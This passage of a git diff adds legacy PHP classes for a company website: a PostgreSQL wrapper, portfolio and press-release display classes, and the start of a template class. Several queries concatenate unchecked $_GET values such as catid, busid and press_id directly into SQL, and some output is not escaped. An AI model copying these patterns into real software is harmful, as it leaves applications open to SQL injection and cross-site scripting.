+            return false;
+        }
+        return $ret;
+    }
+
+    // }}}
+    // {{{ db_numrows()
+
+    /** db_numrows
+    *
+    *  Determine number of rows in a result index                
+    *
+    * {@source } 
+    * @param   $res   -- valid database result index            
+    * @returns int - Returns number of rows                    
+    * @access  public
+    */
+
+    function db_numrows($res)
+    {
+        switch (DB_TYPE) {
+        case "postgres":
+            $ret = pg_numrows($res);
+            break;
+
+        default:
+            return -1;
+        }
+        return $ret;
+    }
+
+    // }}}
+    // {{{ delete()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param  unknown $table     Parameter description (if any) ...
+     * @param  unknown $condition Parameter description (if any) ...
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+    function delete($table, $condition)
+    {
+        return $this->pgsql_delete($table, $condition);
+    }
+
+    // }}}
+    // {{{ insert()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param  unknown $table       Parameter description (if any) ...
+     * @param  unknown $data        Parameter description (if any) ...
+     * @param  unknown $primary_key Parameter description (if any) ...
+     * @param  unknown $sequence    Parameter description (if any) ...
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+    function insert($table, $data, $primary_key, $sequence)
+    {
+        return $this->pgsql_insert($table, $data, $primary_key, $sequence);
+    }
+
+    // }}}
+    // {{{ pgsql_convert()
+
+    /**
+     * pgsql_convert 
+     * 
+     * converts an array (like _POST) and verifies field types to use in insert or update of postgres table
+     * 
+     * @param  mixed  $table
+     * @param  mixed  $data 
+     * @access public
+     * @return string
+     */
+    function pgsql_convert($table, $data)
+    {
+        $query = "select a.attname, format_type(a.atttypid, a.atttypmod)
+                from pg_class c, pg_attribute a
+                where c.relname = '$table'
+                and a.attnum > 0 and a.attrelid = c.oid
+                order by a.attnum";
+        if ($mData = $this->db_auto_get_data($query)) {
+            foreach ($mData as $mRow) {
+                $meta_data[$mRow['attname']] = $mRow['format_type'];
+            }
+        }
+        if (is_array($data)) {
+            foreach ($data as $field => $val) {
+                if ($meta_data[$field]) {
+                    switch ($meta_data[$field]) {
+                    case "integer":
+                    case "double precision":
+                        if ($val == '') {
+                            $proc_data[$field] = 'NULL';
+                        } elseif (is_numeric( $val)) {
+                            $proc_data[$field] = $val;
+                        } else{
+                            die('value for field (int)'.$field.' is not a number');
+                        }
+                        break;
+                    case "boolean":
+                        if ($val == '') {
+                            $proc_data[$field] = 'NULL';
+                        } elseif ($val == 'f' || $val == 't') {
+                            $proc_data[$field] = "'".$val."'";
+                        } else{
+                            die('value for field (boolean)'.$field.' is not a boolean');
+                        }
+                        break;
+                    case "text":
+                        // maybe check to see that the text is being slashed if not then prepare it for postgres
+                        $text = addslashes( stripslashes( trim( $val)));
+                        $proc_data[$field] = "'$text'";
+                        break;
+                    case "date":
+                    if (preg_match( "/([0-9]{1,2})[\/-]?([0-9]{1,2})[\/-]?([0-9]{2,4})|/", $val)) {
+                            $proc_data[$field] = "'".$val."'";
+                    } else{
+                            die('value for field (date)'.$field.' is not a date');
+                    }
+                        break;
+                    default:
+                        die('need case for this name:'.$field.' type: '.$meta_data[$field]);
+                        break;
+                    }
+                } else{
+                    die('Error no field named '.$field.' exist in '.$table);
+                }
+            }
+        } else{
+            return false;
+        }
+        return $proc_data;
+    }
+
+    // }}}
+    // {{{ pgsql_delete()
+
+    /**
+     * pgsql_delete 
+     * 
+     * @param  mixed  $table    
+     * @param  mixed  $condition
+     * @access public
+     * @return string
+     */
+    function pgsql_delete($table, $condition)
+    {
+        reset($condition);
+        $cKey   = key($condition);
+        $query  = "delete from $table where ";
+        $query .= $cKey;
+        $query .= " = ".$condition[$cKey];
+        return $this->db_exec( $query);
+    }
+
+    // }}}
+    // {{{ pgsql_insert()
+
+    /**
+     * pgsql_insert 
+     * 
+     * @param  mixed  $table      
+     * @param  mixed  $data       
+     * @param  mixed  $primary_key
+     * @param  mixed  $sequence   
+     * @access public
+     * @return string
+     */
+    function pgsql_insert($table, $data, $primary_key, $sequence)
+    {
+        $converted = $this->pgsql_convert($table, $data);
+        if ($res = $this->db_exec("select nextval('$sequence') as $primary_key")) {
+            $insert_data = $this->db_fetch_array( $res, 0, PGSQL_ASSOC);
+            $insert_id = $insert_data[$primary_key];
+        } else {
+            die('returned no insert_id');
+        }
+        $query = "INSERT INTO $table ($primary_key,".implode(",",array_keys( $converted)).") values ($insert_id,".implode(",",array_values( $converted)).")";
+        if ($res = $this->db_exec($query)) {
+            $this->insert_id = $insert_id;
+            return $insert_id;
+        } else {
+            echo $query;
+            die('error');
+        }
+    }
+
+    // }}}
+    // {{{ pgsql_select()
+
+    /**
+     * pgsql_select 
+     * 
+     * @param  mixed  $query
+     * @access public
+     * @return string
+     */
+    function pgsql_select($query)
+    {
+        return $this->db_auto_get_data( $query);
+    }
+
+    // }}}
+    // {{{ pgsql_update()
+
+    /**
+     * pgsql_update 
+     * 
+     * @param  mixed  $table    
+     * @param  mixed  $data     
+     * @param  mixed  $condition
+     * @access public
+     * @return string
+     */
+    function pgsql_update($table, $data, $condition)
+    {
+        $converted = $this->pgsql_convert($table, $data);
+        foreach ($converted as $key => $value) {
+            $q_parts[] = "$key = $value";
+        }
+        reset($condition);
+        $cKey = key($condition);
+        if (is_array($converted)) {
+            $query = "update $table set ";
+            if (is_array($q_parts)) {
+                $query .= implode(",",$q_parts);
+            }
+            $query .= " where ";
+            $query .= $cKey;
+            $query .= " = ".$condition[$cKey];
+        }
+        $this->db_exec($query);
+    }
+
+    // }}}
+    // {{{ select()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param  unknown $query Parameter description (if any) ...
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+    function select($query)
+    {
+        return $this->db_auto_get_data($query);
+    }
+
+    // }}}
+    // {{{ trans_end()
+
+    /** trans_end
+     *
+     * Commit the postgres transaction  
+     *
+     * {@source } 
+     * @returns bool true if successful
+    * @access  public
+     */
+    function trans_end() 
+    {
+        if (!$this->trans) {
+            if(!$this->db_exec("COMMIT WORK;")) {
+                return false;
+            } else{
+                return true;
+            }
+        } else{
+            return false;
+        }
+    }
+
+    // }}}
+    // {{{ trans_exec()
+
+    /** trans_exec
+    *
+    *  exec a postgres query in a 
+    *  postgres transaction
+    *
+    * {@source } 
+    * @param  string query
+    * @access public
+    */
+    function trans_exec($query)
+    {
+        if ($query != "") {
+            if(!$ret = $this->db_exec($query)) {
+                $this->db_exec("ABORT WORK;");
+                return false;
+            } else {
+                return $ret;
+            }
+        } else {
+            return false;
+        }
+    }
+
+    // }}}
+    // {{{ trans_start()
+
+    /** trans_start
+    *
+    * Start a postgres transaction 
+    *
+    * {@source } 
+    * @returns bool true if sucessful
+    * @access  public
+    */
+    function trans_start()
+    {
+        if (!$this->trans) {
+            if (!$this->dbd = $this->db_connect()) {
+                $this->trans = false;
+                return false;
+            } else {
+                $this->db_exec("BEGIN WORK;");
+                $this->trans = true;
+                return true;
+            }
+        } else {
+            return true;
+        }
+    }
+
+    // }}}
+    // {{{ update()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param  unknown $table     Parameter description (if any) ...
+     * @param  unknown $data      Parameter description (if any) ...
+     * @param  unknown $condition Parameter description (if any) ...
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+    function update($table, $data, $condition)
+    {
+        return $this->pgsql_update($table, $data, $condition);
+    }
+
+    // }}}
+}
+?>
diff --git a/classes/class_portfolio.inc b/classes/class_portfolio.inc
new file mode 100755 (executable)
index 0000000..bb009b8
--- /dev/null
@@ -0,0 +1,435 @@
+<?php
+/**
+ portfolio project
+ */
+require_once 'setup.phtml';
+require_once BASE.'classes/class_db.inc';
+require_once BASE.'classes/class_toolbox.inc';
+/**
+ * portfolio 
+ * 
+ * @uses GLM_TOOLBOX
+ * @package 
+ * @version $id$
+ * @copyright 2006 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com> 
+ * @license 
+ */
+class portfolio extends GLM_TOOLBOX {
+    // {{{ Class Properties
+       /**
+        * DB 
+        * 
+        * @var mixed
+        * @access public
+        */
+       public $DB;
+    // }}}
+    // {{{ __construct()
+       /**
+        * portfolio 
+        * 
+        * @param mixed $toolbox 
+        * @access public
+        * @return string
+        */
+       function __construct(&$toolbox)
+       {
+               parent::__construct();
+               $this->toolboxDB =& $toolbox->DB;
+        $this->toolbox =& $toolbox;
+        $this->setDB();
+       }
+    // }}}
+    // {{{ get_bread_crumbs()
+       /**
+        * get_bread_crumbs 
+        * 
+        * @access public
+        * @return string
+        */
+       function get_bread_crumbs()
+       {
+               if (is_numeric($_GET['pcatid'])) {
+                       $query = "select id,category from bus_category where id = ".$_GET['pcatid'].";";
+            try {
+                $out = '<div id="breadcrumbs">';
+                               $out .= '<a href="'.BASE_URL.'">Home</a> &gt; ';
+                $data = $this->dbh->query($query)->fetchAll();
+                if ($data) {
+                    $out .= '<a href="'.$this->toolbox->get_seo_url(56).'">Portfolio</a>';
+                    $out .= ' &gt; '.$data[0]["category"].'';
+                }
+                $out .= '</div><!-- /#breadcrumbs -->';
+                return $out;
+            } catch(PDOException $e) {
+                Toolkit_Common::handleError($e);
+            }
+               }
+               return false;
+       }
+    // }}}
+    // {{{ get_category_list()
+       /**
+        * get_category_list 
+        * 
+        * @param mixed $catid 
+        * @access public
+        * @return string
+        */
+       function get_category_list($catid)
+       {
+        $imServer = new Toolkit_Image_Server();
+        $query = "
+        SELECT id,category,description,image 
+        FROM bus_category 
+        WHERE id = $catid";
+        try {
+            $data = $this->dbh->query($query)->fetchAll();
+                       $out = '<p>'.$this->toolbox->keyword_replace($data[0]['description']).'</p>';
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+        $query = "
+          SELECT id,category,image 
+            FROM bus_category 
+           WHERE parent = $catid 
+             AND active = 't' 
+        ORDER BY pos";
+        try {
+            $data = $this->dbh->query($query)->fetchAll();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+               if ($data) {
+                       for ($i = 0; $i < count($data); $i++) {
+                               unset($img);
+                               if ($data[$i]['image'] != '') {
+                    $size = $imServer->getImageSize(THUMB.$data[$i]['image']);
+                                       $img['alt']    = htmlspecialchars(strip_tags(trim($data[$i]['image'])));
+                                       $img['width']  = $size[0];
+                                       $img['height'] = $size[1];
+                                       $img['src']    = THUMB.$data[$i]['image'];
+                                       $image         = $this->set_img($img);
+                               } else {
+                                       $image = '';
+                               }
+                               $id   = $data[$i]['id'];
+                               $name = ereg_replace("[?/$^%&*!@#'\"<>,]", "", $data[$i]['category']);
+                               $name = str_replace(" ", "-", $name);
+                               $out .= '
+                                       <div class="portfolio-categories-item">
+                                               <a href="'.BASE_URL.'portfolio-category/'.$name.'-'.$id.'/">'.$image.'
+                                               '.$data[$i]["category"].'</a>
+                                       </div>
+                                       ';
+                               if (($i + 1)  % 3 == 0) {
+                                       $out .= '
+                                       <div class="clearer"></div>
+                                       ';
+                               }
+                       }
+               }
+               return $out;
+       }
+    // }}}
+    // {{{ get_just_launched()
+       /**
+        * get_just_launched 
+        * 
+        * @access public
+        * @return string
+        */
+       function get_just_launched()
+       {
+        $imServer = new Toolkit_Image_Server();
+               // first query for only two of the most recently launched category portfolio items.
+               $query = "select b.* from bus b left outer join bus_category_bus bcb on (bcb.busid = b.id) where bcb.catid = 74 and home = 't' and active = 't' order by bcb.pos limit 2 offset 0;";
+        try {
+            $data = $this->dbh->query($query)->fetchAll();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+               if ($data) {
+                       if (is_array($data)) {
+                               foreach ($data as $pkey => $pvalue) {
+                                       unset($img);
+                                       if ($pvalue['image'] != '') {
+                        $size         = $imServer->getImageSize(THUMB.$pvalue['image']);
+                                               $img['alt']   = htmlspecialchars(strip_tags(trim($pvalue['image'])));
+                                               $img['width'] = 80;//$size[0];
+                                               //$img['height'] = $size[1];
+                                               $img['src']   = THUMB.$pvalue['image'];
+                                               $image        = $this->set_img($img);
+                                       }
+                                       else
+                                       {
+                                               $image = '';
+                                       }
+                                       $id = $pvalue['id'];
+                                       $name = ereg_replace("[?/$^%&*!@#'\"<>,]","",$pvalue['name']);
+                                       $name = str_replace(" ","-",$name);
+                                       $image_src[] = $image;
+                                       $links_url[] = '<div class="h-launched-name">'.$pvalue["name"].'</div>
+                                               <a href="'.BASE_URL.'portfolio-detail-74/'.$name.'-'.$id.'/">Details</a> | <a href="http://'.$pvalue['url'].'" target="_blank">Website</a>';
+                               }
+                               $out = '
+                               <table summary="recent websites">
+                                               <tr>
+                                                       <td>'.$image_src[0].'</td>
+                                                       <td>'.$image_src[1].'</td>
+                                               </tr>
+                                               <tr>
+                                                       <td>
+                                                               <div class="h-launched-name">'.$links_url[0].'</div>
+                                                       </td>
+                                                       <td>
+                                                               <div class="h-launched-name">'.$links_url[1].'</div>
+                                                       </td>
+                                               </tr>
+                                       </table>        
+                                       ';
+                       }
+               }
+               return $out;
+       }
+       // }}}
+    // {{{ get_portfolio_categories()
+    function get_portfolio_categories()
+    {
+        try {
+            $sql = "
+              SELECT id,category,parent
+                FROM bus_category
+               WHERE parent = 72
+                 AND active = 't'
+            ORDER BY parent,pos";
+            $res = $this->dbh->query($sql);
+            while ($row = $res->fetch(PDO::FETCH_ASSOC)) {
+                $categories[$row['id']] = $row['category'];
+            }
+            return $categories;
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+    }
+    // }}}
+    // {{{ get_portfolio_detail()
+       /**
+        * get_portfolio_detail 
+        * 
+        * @access public
+        * @return string
+        */
+       function get_portfolio_detail()
+       {
+        $imServer = new Toolkit_Image_Server();
+               $query    = "SELECT category FROM bus_category WHERE id = ".$_GET['catid'].";";
+               $cat_data = $this->toolboxDB->db_auto_get_data($query);
+               $category = $cat_data[0]['category'];
+               $out      = '
+                       
+                       <!--    <h1>'.$category.'</h1>-->
+                       ';
+               $query = "select * from bus where id = ".$_GET['busid'].";";
+        try {
+            $bus_data = $this->dbh->query($query)->fetchAll();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+               if ($bus_data) {
+                       unset($img);
+                       if ($bus_data[0]['image'] != '') {
+                $size          = $imServer->getImageSize(RESIZED.$bus_data[$i]['image']);
+                               $img['alt']    = htmlspecialchars(strip_tags(trim($bus_data[0]['image'])));
+                               $img['width']  = $size[0];
+                               $img['height'] = $size[1];
+                               $img['src']    = RESIZED.$bus_data[0]['image'];
+                               $image         = $this->set_img($img);
+                       } else {
+                               $image = '';
+                       }
+                       if ($bus_data[0]['url']) {
+                               $name = '<a href="http://'.$bus_data[0]['url'].'" target="_blank">'.$bus_data[0]['name'].'</a>';
+                               $web_url_name = ($bus_data[0]['urlname']) ? $bus_data[0]['urlname'] : $bus_data[0]['url'];
+                               $web_url = '<a href="http://'.$bus_data[0]['url'].'" target="_blank">'.$web_url_name.'</a>';
+                       } else {
+                               $name = $bus_data[0]['name'];
+                               $web_url = '';
+                       }
+                       $out .= '
+                               <div id="portfolio-detail">
+                       <h2>'.$name.'</h2>
+                                       '.$image.'
+                                       '.$this->toolbox->keyword_replace($bus_data[0]['description']).'
+                                       <!-- '.$web_url.' -->
+                                       </div>
+                                       <div class="clearer"></div>
+                                       ';
+               }
+               return $out;
+       }
+    // }}}
+    // {{{ get_portfolio_list()
+       /**
+        * get_portfolio_list 
+        * 
+        * @access public
+        * @return string
+        */
+       function get_portfolio_list()
+       {
+        if (!$_REQUEST['busid']) {
+            //$out = $this->get_bread_crumbs();
+            $query = "select category,intro,description,image from bus_category where id = ".$_GET['pcatid'].";";
+            try {
+                $cat_data = $this->dbh->query($query)->fetchAll();
+            } catch(PDOException $e) {
+                Toolkit_Common::handleError($e);
+            }
+            $category    = $cat_data[0]['category'];
+            $intro       = $cat_data[0]['intro'];
+            $description = $cat_data[0]['description'];
+            $image       = $cat_data[0]['image'];
+            // output
+            $out .= ($category) ? ' <h1>'.$category.'</h1>': '';
+            $out .= ($intro) ? ' <h2>'.$intro.'</h2>': '';
+            $out .= '<div>';
+            if ($image) {
+                $out .= '<div style="float:right;margin: 0 0 16px 16px;display:block;"><img src="'.RESIZED.$image.'"></div>';
+            }
+            if ($description) {
+                $out .= $this->toolbox->keyword_replace($description);
+            }
+            $out .= '</div>';
+        }
+        $out .= '<br clear="all">
+                               <div id="portfolio-websites">
+                       ';
+               $query = "select b.*,bcb.previewed as previewed from bus b left outer join bus_category_bus bcb on (bcb.busid = b.id) where b.active = 't' and bcb.catid = ".$_GET['pcatid']." order by bcb.pos";
+        try {
+            $data = $this->dbh->query($query)->fetchAll();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+               if ($data) {
+                       foreach ($data as $key => $value) {
+                               if ($value['previewed'] == 't') {
+                                       $previewed[] = $value;
+                               } else {
+                                       $listed[] = $value;
+                               }
+                       }
+                       if (is_array($previewed)) {
+                               $i = 0;
+                               foreach ($previewed as $pkey => $pvalue) {
+                                       unset( $img );
+                                       if ($pvalue['image'] != '') {
+                                               $size          = @getImageSize(THUMB_PATH.$pvalue['image']);
+                                               $img['alt']    = htmlspecialchars(strip_tags(trim($pvalue['image'])));
+                                               $img['width']  = $size[0];
+                                               $img['height'] = $size[1];
+                                               $img['src']    = THUMB.$pvalue['image'];
+                                               $image         = $this->set_img($img);
+                                       } else {
+                                               $image = '';
+                                       }
+                                       $id = $pvalue['id'];
+                                       $name = ereg_replace("[?/$^%&*!@#'\"<>,]","",$pvalue['name']);
+                                       $name = str_replace(" ","-",$name);
+                                       $out .= '
+                                               <div class="portfolio-websites-item">
+                                               <a href="http://'.$pvalue['url'].'" target="_blank">'.$image.'</a>
+                                               <div class="portfolio-websites-item-name">'.$pvalue["name"].'</div>
+                                               <a href="http://'.$pvalue['url'].'" target="_blank">Website</a> - <a href="'.BASE_URL.'portfolio-detail-'.$_GET["pcatid"].'/'.$id.'/">More Info</a>
+                                       </div><!-- /.portfolio-websites-item -->
+                                               ';
+                                       if (($i + 1)  % 3 == 0) {
+                                               $out .= '
+                                               <div class="clearer"></div>
+                                               ';
+                                       }
+                                       $i++;
+                               }
+                       }
+                       if (is_array($listed)) {
+                               $out .= '
+                                       <div class="clearer"></div>
+                               <h2>Other '.$category.' Clients</h2>
+                               <div id="other-list">
+                                       ';
+                               $rcount = 1;
+                               foreach ($listed as $lkey => $lvalue) {
+                                       $id = $lvalue['id'];
+                                       $name = ereg_replace("[?/$^%&*!@#'\"<>,]","",$lvalue['name']);
+                                       $name = str_replace(" ","-",$name);
+                                       $out .= '
+                    <div class="other-list-item">
+                        <a href="http://'.$lvalue['url'].'" target="_blank">'.strip_tags($lvalue['name']).'</a>
+                    </div><!-- /.other-list-item -->
+                                               ';
+                                       if ($rcount % 2 == 0) {
+                                               $out .= '<div class="clearer"></div>
+                                               ';
+                                       }
+                                       $rcount++;
+                               }
+                               $out .= '</div><!-- /#other-list -->';
+                       }
+               }
+               $out .= '</div><!-- /#portfolio-websites -->';
+               return $out;
+       }
+    // }}}
+    // {{{ setDB()
+       /**
+        * setDB 
+        * 
+        * @access public
+        * @return string
+        */
+       function setDB()
+       {
+        try {
+            $dsn = 'pgsql:' . CONN2_STR;
+            // Keep the fetch mode set to FETCH_BOTH, we use
+            // associative arrays throughout our apps, but some PEAR lib
+            // apps require numerical indicies to work correctly.
+            // i.e. (DataGrids working w/ PDO's)
+            $driverOptions = array(
+                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
+            );
+            $dbh = new PDO($dsn, null, null, $driverOptions);
+            $dbh->setAttribute(PDO::ATTR_ERRMODE,
+                PDO::ERRMODE_EXCEPTION);
+            $dbh->query("SET DATESTYLE TO 'SQL,US'");
+            $this->dbh = $dbh;
+        } catch (PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+       }
+    // }}}
+    // {{{ set_img()
+       /**
+        * set_img 
+        * 
+        * @param mixed $arr 
+        * @access public
+        * @return string
+        */
+       function set_img( $arr )
+       {
+               if (is_array($arr)) {
+                       $img .= '<img src="'.$arr['src'].'"';
+                       $img .= ($arr['alt']) ? ' alt="'.$arr['alt'].'"': '';
+                       $img .= ($arr['title']) ? ' title="'.$arr['title'].'"': '';
+                       $img .= ($arr['width']) ? ' width="'.$arr['width'].'"': '';
+                       $img .= ($arr['height']) ? ' height="'.$arr['height'].'"': '';
+                       $img .= ($arr['border']) ? ' border="'.$arr['border'].'"': '';
+                       $img .= '>';
+                       return $img;
+               }
+       }
+    // }}}
+}
+?>
diff --git a/classes/class_press.inc b/classes/class_press.inc
new file mode 100755 (executable)
index 0000000..a71ef7e
--- /dev/null
@@ -0,0 +1,146 @@
+<?php
+/**
+ * glm_press 
+ * taking the press release and creating a class for the display
+ * 
+ * @package 
+ * @version $id$
+ * @copyright 2005 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com> 
+ * @license 
+ */
+class glm_press{
+       var $news_table;
+       var $news_cat_table;
+       var $black_table;
+       var $new_id;
+       var $image_size;
+       var $press_catid;
+       /**
+        * glm_press 
+        * 
+        * @access public
+        * @return void
+        */
+       function glm_press()
+       {
+               $this->news_table     = 'pressnews';
+               $this->news_cat_table = 'pressnews_category';
+               $this->block_table    = 'pressnews_block';
+               $this->news_id        = 'pressnews_id';
+               $this->press_catid    = 2;
+               $this->image_size     = RESIZED;
+       }
+
+       /**
+        * get_news 
+        * 
+        * @access public
+        * @return void
+        */
+       function get_news()
+       {
+               if ($_GET['press_id']) {
+            $newsArchiveQuery = "
+               SELECT id,title,status 
+                 FROM {$this->news_table}
+                WHERE status != 'queued' 
+                  AND catid = {$this->press_catid}
+                  AND id != {$_GET['press_id']}
+             ORDER BY pr_date DESC";
+               } else {
+            $newsArchiveQuery = "
+               SELECT id,title 
+                 FROM {$this->news_table}
+                WHERE status = 'archived'
+             ORDER BY pr_date DESC";
+               }
+               $newsArchiveData = db_auto_get_data($newsArchiveQuery, CONN_STR);
+               if ($_GET['press_id']) {
+                       $newsQuery = "
+            SELECT *
+            FROM {$this->news_table}
+            WHERE catid = {$this->press_catid}
+            AND id = {$_GET['press_id']}";
+               } else {
+                       $newsQuery = "
+            SELECT *
+            FROM {$this->news_table}
+            WHERE catid = {$this->press_catid}
+            AND status = 'current'";
+               }
+               $newsData = db_auto_get_data($newsQuery, CONN_STR);
+               $news_id = $newsData[0]['id'];
+               if ($news_id != '') {
+            $newsBlockQuery = "
+              SELECT *
+                FROM {$this->block_table}
+               WHERE pressnews_id = {$news_id}
+            ORDER BY pos";
+
+                       $newsBlockData = db_auto_get_data($newsBlockQuery, CONN_STR);
+               }
+               if (is_array($newsData)) {
+                       foreach ($newsData as $key=>$value) {
+                       //      $news_title = ($value['title']) ? '<h2>'.$value["title"].'</h2>': '';
+                               $news_header = ($value['header']) ? '<h3>'.$value["header"].'</h3>': '';
+                               $news_pr_date = ($value['pr_date']) ?  '<p>'.date("F j, Y",strtotime($value["pr_date"])).'</p>': '';
+                               $news_image = ($value['image']) ? '<img src="'.$this->image_size.$value["image"].'">': '';
+                               $news_descr = ($value['description']) ? '<p>'.$value["description"].'</p>': '';
+                               echo myEncode("$news_title 
+                                         $news_header
+                                         $news_pr_date
+                                         $news_image
+                                         $news_descr");
+                       }
+               }
+               echo '<br clear="all">';
+               $counter = 1;
+               if (is_array($newsBlockData)) {
+                       foreach ($newsBlockData as $key=>$value) {
+                               if ($value['image']) {
+                                       if ($counter % 2 == 0) {
+                                               $align = "left";
+                                       } else {
+                                               $align = "right";
+                                       }
+                               }
+                               $Block[]['header'] = ($value['header']) ? '<h3>'.$value["header"].'</h3>': '';
+                               $Block[]['image'] = ($value['image']) ? '<img src="'.$this->image_size.$value["image"].'">': '';
+                               $Block[]['descr'] = ($value['description']) ? '<p>'.$value["description"].'</p>': '';
+                       }
+               }
+               if (is_array($Block)) {
+                       foreach ($Block as $key=>$value) {
+                               echo myEncode($value['image'].$value['header'].$value['descr']);
+                       }
+               }
+               echo '<p><a href="'.BASE_URL.'press-archives/" class="news">View Previous Articles</a></p>';    
+       }
+       /**
+        * get_archives 
+        * 
+        * @access public
+        * @return void
+        */
+       function get_archives()
+       {
+               $query = "SELECT header FROM ".$this->news_cat_table." WHERE id = 1";
+               $cat1data = db_auto_get_data($query, CONN_STR);
+               $query = "SELECT header FROM ".$this->news_cat_table." WHERE id = 2";
+               $cat2data = db_auto_get_data($query, CONN_STR);
+               $query = "SELECT catid,id,title,intro,description FROM ".$this->news_table." WHERE status != 'queued' ORDER BY status DESC,pr_date DESC";
+               $cat1itemdata = db_auto_get_data($query,CONN_STR);
+               if(is_array($cat1itemdata))
+               {
+                       foreach($cat1itemdata as $key=>$value)
+                       {
+                               $title = ($value["title"]) ? '<a class="news" href="'.BASE_URL.'press/'.$value["id"].'/">'.$value["title"].'</a>': '';
+                               //$descr = ($value["description"]) ?  substr($value["description"],0,150).'<br>' : '';
+                               $descr = $value["intro"];
+                               echo '<h2>'.$title.'</h2><p>'.$descr.'<a href="'.BASE_URL.'press/'.$value["id"].'/"> READ MORE</a></p><hr>';
+                       }
+               }
+       }
+}
+?>
diff --git a/classes/class_template.inc b/classes/class_template.inc
new file mode 100644 (file)
index 0000000..145cb0c
--- /dev/null
@@ -0,0 +1,2897 @@
+<?php
+/**
+ * Toolbox Classes :)
+ *
+ * @package Toolbox Library
+ * @subpackage Template Library
+ * @filesource
+ */
+
+require_once BASE."classes/class_db.inc";
+require_once BASE."classes/class_toolbox.inc";
+
+/**
+ *     Template Class :)
+ *
+ * <p>
+ * $Id: class_template.inc,v 1.10 2010/10/06 17:57:44 jamie Exp $
+ * NOTE: for the search engine freindly url's use .htaccess file.
+ * need to make sure .htaccess is enabled or this work work
+ * to turn off seo url's set define SEO_URL to 0 in setup file
+ * NOTE: make sure you redo the www.domain.com lines in the .htaccess file
+ * need to set it up before testing with it.
+ * </p>
+ * <p>
+ * For the page title and meta tags make a $title and $meta vars depending on
+ * weather or not it is the home page.
+ * </p>
+ *
+ * @package Toolbox Library
+ * @subpackage Template Library
+ * @category Template
+ * @author Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2007
+ * @version $Revision: 1.10 $
+ * @since $Date: 2010/10/06 17:57:44 $
+ * @todo update the phpdocs for all classes
+ * @todo add title for all the navigation links if and only if they have page title
+ * @todo some tutorial in the docs for how to set things up.
+ */
+class GLM_TEMPLATE
+{
+       //      {{{ properties
+
+       /**
+        * The category id for the page
+        * @var integer
+        * @access public
+        */
+       public $catid;
+
+       /**
+        * The postgres database handler
+        * @var object
+        * @access public
+        */
+       public $DB;
+
+       /**
+        * The starting style for the header
+        *
+        * class="content" should not be used anymore
+        *
+        * @var string
+        * @access protected
+        */
+       protected $header_begin = '<h1>';
+
+       /**
+        * The ending style for the header
+        * @var string header_end
+        * @access protected
+        */
+       protected $header_end = '</h1>';
+
+       /**
+        * The starting style for the sub header
+        * @var string
+        * @access protected
+        */
+       protected $subheader_begin = '<h2>';
+
+       /**
+        * The ending style for the sub header
+        * @var string
+        * @access protected
+        */
+       protected $subheader_end = '</h2>';
+
+       /**
+        * The starting position for images
+        *
+        * @var string
+        * @access protected
+        */
+       protected $img_align = 'left';
+
+       /**
+        * Whether to alternate the images or not
+        *
+        * for alternating images set to 1 else leave alone
+        *
+        * @var string
+        * @access protected
+        */
+       protected $img_alternate = 1;
+
+       /**
+        * The path to the image directory
+        * @var string
+        * @access protected
+        */
+       protected $img_size;
+
+       /**
+        * The category array
+        * @var array
+        * @access protected
+        */
+       protected $data;
+
+       /**
+        * The items array
+        * @var array
+        * @access protected
+        */
+       protected $items;
+
+       /**
+        * @var string type The type
+        */
+       protected $type;
+
+       /**
+        * Used for menu generation
+        * @var string whole_thread The thread string
+        */
+       protected $whole_thread = null;
+
+       /**
+        * Used for menu generation
+        * @var integer thread_count The thread count
+        */
+       protected $thread_count = 1;
+
+       /**
+        * @var array $pages
+        * @access protected
+        */
+       protected $pages;
+
+       /**
+        * adds active = 't' to queries only if ACTIVE_FLAG is set to true
+        * @var string
+        * @access protected
+        */
+       protected $active_query;
+
+       /**
+        * determines page layout
+        * @var integer
+        * @access protected
+        */
+       protected $template;
+
+       /**
+        * Page extension for php pages .php or .phtml
+        * @var string
+        * @access protected
+        */
+       protected $php_ext = '.php';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * GLM_TEMPLATE
+        *
+        * @param mixed $catid current page category id
+        * @param mixed $DB Object passed from GLM_DB if done
+        * @access public
+        * @return string
+        */
+       function __construct($catid, $DB = NULL)
+       {
+        // set the cache option from $GLOBALS
+        $this->cacheOptions = $GLOBALS['cacheOptions'];
+        // redo the cachDir
+        $this->cacheOptions['cacheDir']               = BASE . 'cache/';
+        $this->cacheOptions['lifeTime']               = null;
+        $this->cacheOptions['automaticSerialization'] = true;
+        // create a new instance of Cache_Lite
+        $this->cache =& new Cache_Lite($this->cacheOptions);
+               $this->catid = $this->get_catid($catid);
+               // using a reference to $DB (should be started on setup.phtml
+               $this->set_DB(&$DB);
+        // switching to DB singleton
+        $this->dbh = Toolkit_Database::getInstance();
+               // used for cvb's
+               $this->Member = $this->set_member();
+               // img_size are RESIZED, MIDSIZED, THUMB do not use ORIGINAL
+               $this->img_size = RESIZED;
+
+               $this->set_body_tag();
+               // Uses the PAGE array set in setup.phtml
+               $this->set_pages(&$GLOBALS['PAGES']);
+               // tell if page is active, deleted or inactive
+               $this->page_status($catid);
+               // set active query string
+               $this->set_active_query();
+       }
+
+       //      }}}
+
+       //      {{{ build_picklist()
+
+       /**
+        * build_picklist:
+        * @param string $fieldname:
+        * @param array $data:
+        * @param mixed $selected:
+        * @param string $type = "standard":
+        * @param boolean $auto = 0:
